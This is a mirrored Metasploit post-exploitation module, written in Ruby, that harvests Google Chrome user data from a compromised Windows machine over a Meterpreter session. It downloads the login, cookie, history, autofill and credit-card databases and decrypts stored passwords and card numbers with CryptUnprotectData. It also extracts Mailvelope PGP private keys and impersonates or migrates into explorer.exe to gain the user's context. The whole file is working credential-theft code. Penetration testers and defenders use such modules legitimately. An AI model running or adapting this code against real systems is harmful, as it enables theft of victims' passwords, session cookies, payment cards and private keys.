Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

enum_chrome.rb 11KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'rex'
  7. class MetasploitModule < Msf::Post
  8. include Msf::Post::File
  9. include Msf::Post::Windows::Priv
  10. def initialize(info={})
  11. super(update_info(info,
  12. 'Name' => "Windows Gather Google Chrome User Data Enumeration",
  13. 'Description' => %q{
  14. This module will collect user data from Google Chrome and attempt to decrypt
  15. sensitive information.
  16. },
  17. 'License' => MSF_LICENSE,
  18. 'Platform' => ['win'],
  19. 'SessionTypes' => ['meterpreter'],
  20. 'Author' =>
  21. [
  22. 'Sven Taute', #Original (Meterpreter script)
  23. 'sinn3r', #Metasploit post module
  24. 'Kx499', #x64 support
  25. 'mubix' #Parse extensions
  26. ]
  27. ))
  28. register_options(
  29. [
  30. OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),
  31. ], self.class)
  32. end
  33. def extension_mailvelope_parse_key(data)
  34. return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
  35. end
  36. def extension_mailvelope_store_key(name, value)
  37. return unless name =~ /(private|public)keys/i
  38. priv_or_pub = $1
  39. keys = value.split(",")
  40. print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
  41. keys.each do |key|
  42. key_data = extension_mailvelope_parse_key(key)
  43. vprint_good(key_data)
  44. path = store_loot(
  45. "chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key")
  46. print_status("==> Saving #{priv_or_pub} key to: #{path}")
  47. end
  48. end
  49. def extension_mailvelope(username, extname)
  50. chrome_path = @profiles_path + "\\" + username + @data_path
  51. maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
  52. if file_exist?(maildb_path) == false
  53. print_error("==> Mailvelope database not found")
  54. return
  55. end
  56. print_status("==> Downloading Mailvelope database...")
  57. local_path = store_loot("chrome.ext.mailvelope", "text/plain", session, "chrome_ext_mailvelope")
  58. session.fs.file.download_file(local_path, maildb_path)
  59. print_status("==> Downloaded to #{local_path}")
  60. maildb = SQLite3::Database.new(local_path)
  61. columns, *rows = maildb.execute2("select * from ItemTable;")
  62. maildb.close
  63. rows.each do |name, value|
  64. extension_mailvelope_store_key(name, value)
  65. end
  66. end
  67. def parse_prefs(username, filepath)
  68. prefs = ''
  69. File.open(filepath, 'rb') do |f|
  70. prefs = f.read
  71. end
  72. results = ActiveSupport::JSON.decode(prefs)
  73. if results['extensions']['settings']
  74. print_status("Extensions installed: ")
  75. results['extensions']['settings'].each do |name,values|
  76. if values['manifest']
  77. print_status("=> #{values['manifest']['name']}")
  78. if values['manifest']['name'] =~ /mailvelope/i
  79. print_good("==> Found Mailvelope extension, extracting PGP keys")
  80. extension_mailvelope(username, name)
  81. end
  82. end
  83. end
  84. end
  85. end
  86. def decrypt_data(data)
  87. rg = session.railgun
  88. pid = session.sys.process.open.pid
  89. process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
  90. mem = process.memory.allocate(1024)
  91. process.memory.write(mem, data)
  92. if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
  93. addr = [mem].pack("V")
  94. len = [data.length].pack("V")
  95. ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
  96. len, addr = ret["pDataOut"].unpack("V2")
  97. else
  98. addr = [mem].pack("Q")
  99. len = [data.length].pack("Q")
  100. ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
  101. len, addr = ret["pDataOut"].unpack("Q2")
  102. end
  103. return "" if len == 0
  104. decrypted = process.memory.read(addr, len)
  105. return decrypted
  106. end
  107. def process_files(username)
  108. secrets = ""
  109. decrypt_table = Rex::Text::Table.new(
  110. "Header" => "Decrypted data",
  111. "Indent" => 1,
  112. "Columns" => ["Name", "Decrypted Data", "Origin"]
  113. )
  114. @chrome_files.each do |item|
  115. if item[:in_file] == "Preferences"
  116. parse_prefs(username, item[:raw_file])
  117. end
  118. next if item[:sql] == nil
  119. next if item[:raw_file] == nil
  120. db = SQLite3::Database.new(item[:raw_file])
  121. begin
  122. columns, *rows = db.execute2(item[:sql])
  123. rescue
  124. next
  125. end
  126. db.close
  127. rows.map! do |row|
  128. res = Hash[*columns.zip(row).flatten]
  129. if item[:encrypted_fields] && session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
  130. item[:encrypted_fields].each do |field|
  131. name = (res["name_on_card"] == nil) ? res["username_value"] : res["name_on_card"]
  132. origin = (res["label"] == nil) ? res["origin_url"] : res["label"]
  133. pass = res[field + "_decrypted"] = decrypt_data(res[field])
  134. if pass != nil and pass != ""
  135. decrypt_table << [name, pass, origin]
  136. secret = "#{name}:#{pass}..... #{origin}"
  137. secrets << secret << "\n"
  138. vprint_good("Decrypted data: #{secret}")
  139. end
  140. end
  141. end
  142. end
  143. end
  144. if secrets != ""
  145. path = store_loot("chrome.decrypted", "text/plain", session, decrypt_table.to_s, "decrypted_chrome_data.txt", "Decrypted Chrome Data")
  146. print_status("Decrypted data saved in: #{path}")
  147. end
  148. end
  149. def extract_data(username)
  150. #Prepare Chrome's path on remote machine
  151. chrome_path = @profiles_path + "\\" + username + @data_path
  152. raw_files = {}
  153. @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
  154. remote_path = chrome_path + '\\' + f
  155. #Verify the path before downloading the file
  156. if file_exist?(remote_path) == false
  157. print_error("#{f} not found")
  158. next
  159. end
  160. # Store raw data
  161. local_path = store_loot("chrome.raw.#{f}", "text/plain", session, "chrome_raw_#{f}")
  162. raw_files[f] = local_path
  163. session.fs.file.download_file(local_path, remote_path)
  164. print_status("Downloaded #{f} to '#{local_path}'")
  165. end
  166. #Assign raw file paths to @chrome_files
  167. raw_files.each_pair do |raw_key, raw_path|
  168. @chrome_files.each do |item|
  169. if item[:in_file] == raw_key
  170. item[:raw_file] = raw_path
  171. end
  172. end
  173. end
  174. return true
  175. end
  176. def steal_token
  177. current_pid = session.sys.process.open.pid
  178. target_pid = session.sys.process["explorer.exe"]
  179. return if target_pid == current_pid
  180. if target_pid.to_s.empty?
  181. print_warning("No explorer.exe process to impersonate.")
  182. return
  183. end
  184. print_status("Impersonating token: #{target_pid}")
  185. begin
  186. session.sys.config.steal_token(target_pid)
  187. return true
  188. rescue Rex::Post::Meterpreter::RequestError => e
  189. print_error("Cannot impersonate: #{e.message.to_s}")
  190. return false
  191. end
  192. end
  193. def migrate(pid=nil)
  194. current_pid = session.sys.process.open.pid
  195. if pid != nil and current_pid != pid
  196. #PID is specified
  197. target_pid = pid
  198. print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")
  199. begin
  200. session.core.migrate(target_pid)
  201. rescue ::Exception => e
  202. print_error(e.message)
  203. return false
  204. end
  205. else
  206. #No PID specified, assuming to migrate to explorer.exe
  207. target_pid = session.sys.process["explorer.exe"]
  208. if target_pid != current_pid
  209. @old_pid = current_pid
  210. print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
  211. begin
  212. session.core.migrate(target_pid)
  213. rescue ::Exception => e
  214. print_error(e)
  215. return false
  216. end
  217. end
  218. end
  219. return true
  220. end
  221. def run
  222. @chrome_files = [
  223. { :raw => "", :in_file => "Web Data", :sql => "select * from autofill;"},
  224. { :raw => "", :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;"},
  225. { :raw => "", :in_file => "Web Data", :sql => "select * from autofill_profiles;"},
  226. { :raw => "", :in_file => "Web Data", :sql => "select * from credit_cards;", :encrypted_fields => ["card_number_encrypted"]},
  227. { :raw => "", :in_file => "Cookies", :sql => "select * from cookies;"},
  228. { :raw => "", :in_file => "History", :sql => "select * from urls;"},
  229. { :raw => "", :in_file => "History", :sql => "SELECT url FROM downloads;"},
  230. { :raw => "", :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;"},
  231. { :raw => "", :in_file => "Login Data", :sql => "select * from logins;", :encrypted_fields => ["password_value"]},
  232. { :raw => "", :in_file => "Bookmarks", :sql => nil},
  233. { :raw => "", :in_file => "Preferences", :sql => nil},
  234. ]
  235. @old_pid = nil
  236. migrate_success = false
  237. # If we can impersonate a token, we use that first.
  238. # If we can't, we'll try to MIGRATE (more aggressive) if the user wants to
  239. got_token = steal_token
  240. if !got_token && datastore["MIGRATE"]
  241. migrate_success = migrate
  242. end
  243. host = session.session_host
  244. #Get Google Chrome user data path
  245. env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')
  246. sysdrive = env_vars['SYSTEMDRIVE'].strip
  247. if directory?("#{sysdrive}\\Users")
  248. @profiles_path = "#{sysdrive}/Users"
  249. @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
  250. elsif directory?("#{sysdrive}\\Documents and Settings")
  251. @profiles_path = "#{sysdrive}/Documents and Settings"
  252. @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
  253. end
  254. #Get user(s)
  255. usernames = []
  256. if is_system?
  257. print_status("Running as SYSTEM, extracting user list...")
  258. print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
  259. session.fs.dir.foreach(@profiles_path) do |u|
  260. not_actually_users = [
  261. ".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini",
  262. "LocalService", "NetworkService"
  263. ]
  264. usernames << u unless not_actually_users.include?(u)
  265. end
  266. print_status "Users found: #{usernames.join(", ")}"
  267. else
  268. uid = session.sys.config.getuid
  269. print_status "Running as user '#{uid}'..."
  270. usernames << env_vars['USERNAME'].strip if env_vars['USERNAME']
  271. end
  272. has_sqlite3 = true
  273. begin
  274. require 'sqlite3'
  275. rescue LoadError
  276. print_warning("SQLite3 is not available, and we are not able to parse the database.")
  277. has_sqlite3 = false
  278. end
  279. #Process files for each username
  280. usernames.each do |u|
  281. print_status("Extracting data for user '#{u}'...")
  282. success = extract_data(u)
  283. process_files(u) if success and has_sqlite3
  284. end
  285. # Migrate back to the original process
  286. if datastore["MIGRATE"] && @old_pid && migrate_success
  287. print_status("Migrating back...")
  288. migrate(@old_pid)
  289. end
  290. end
  291. end